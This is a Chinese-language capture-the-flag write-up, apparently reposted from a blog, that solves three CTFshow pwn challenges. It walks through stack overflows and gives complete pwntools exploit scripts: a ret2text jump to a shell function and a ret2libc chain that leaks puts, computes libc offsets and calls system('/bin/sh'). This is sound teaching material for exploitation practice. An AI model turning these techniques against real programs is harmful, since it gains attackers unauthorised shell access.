03-08 08:12 阅读 125

CTFshow pwn 01~03

pwn 签到题
nc 连上就有flag

pwn 02
简单的ret2txt

先检验一下文件

是32位文件
且只有堆栈不可执行保护
checksec 结果可参考

在ubuntu上运行

存在栈溢出

用IDApro 32位打开
首先看main函数

那么接着跟到pwnme函数

可以看到buf只有9个字节而fgets读入了50个字节，所以就导致了栈溢出

进入char s

可以看到从第一个s开始输入只需输入9+4=13个脏数据
然后加上ret要返回的/bin/sh的地址即可得到shell

需要找到/bin/sh

发现了stack函数所以只需要将ret指向stack函数首地址即可得到shell

故exp：

from pwn import *
content = 1
def main():
    if content == 0:
        p = process("./stack")
    else :
        p = remote("pwn.challenge.ctf.show",28137)
    payload = b‘a‘*13
    payload += p32(0x804850F)
    p.sendline(payload)
    p.interactive()
main()

运行得到flag

pwn 03
ret2libc

同上

堆栈不可执行
拖入IDA，先看main函数

再看pwnme

存在栈溢出进入s

需要输入9+4=13个脏数据然后ret指向shellcode "/bin/sh"

但是程序里没有system函数，无法直接调用

这个时候就涉及到plt表和got表了程序执行后，plt表里是got表的地址，got表是函数的真实地址程序还未执行时，got表里还是plt表的地址我们需要泄漏got表里的地址，由于开启了ASLR，本地和远程的地址不一样但也只是针对于地址中间位进行随机，最低的12位并不会发生改变也就是我们需要获取到远程环境的函数的真实地址进而判断libc的版本，计算泄漏的函数got表的地址与system的偏移，然后获取到system函数的真实地址，进而计算system函数与/bin/sh的偏移，最终getshell

我们利用puts函数来进行这一步

exp：

from pwn import *
content = 1
def main():
    if content == 0:
        p = process("./stack1")
    else:
        p = remote("pwn.challenge.ctf.show",28169)    
    elf = ELF("./stack1")
    puts_plt = elf.plt[‘puts‘]
    puts_got = elf.got[‘puts‘]
    main_addr = elf.symbols[‘main‘]
    payload = b"a"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
    p.sendline(payload)
    p.recvuntil(‘\n\n‘)
    get_addr = u32(p.recv(4))
    print(hex(get_addr))

运行脚本

然后到libcsearch网站
输入puts 和得到地址的后三位
找到对应libc

进入得到偏移信息

最终exp：

from pwn import *
content = 1
def main():
    if content == 0:
        p = process("./stack1")
    else:
        p = remote("pwn.challenge.ctf.show",28109)    
    elf = ELF("./stack1")
    puts_plt = elf.plt[‘puts‘]
    puts_got = elf.got[‘puts‘]
    main_addr = elf.symbols[‘main‘]
    payload = b"a"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
    p.sendline(payload)
    p.recvuntil(‘\n\n‘)
    get_addr = u32(p.recv(4))
    print(hex(get_addr))
    libcbase = get_addr - 0x067360
    system_addr = libcbase + 0x03cd10
    bin_sh = libcbase + 0x17b8cf
    payload = flat([b‘A‘*13,system_addr,b‘AAAA‘,bin_sh])
    p.sendline(payload)
    p.interactive()
main()

运行脚本得到flag

原文：https://www.cnblogs.com/z1ek34r/p/15007061.html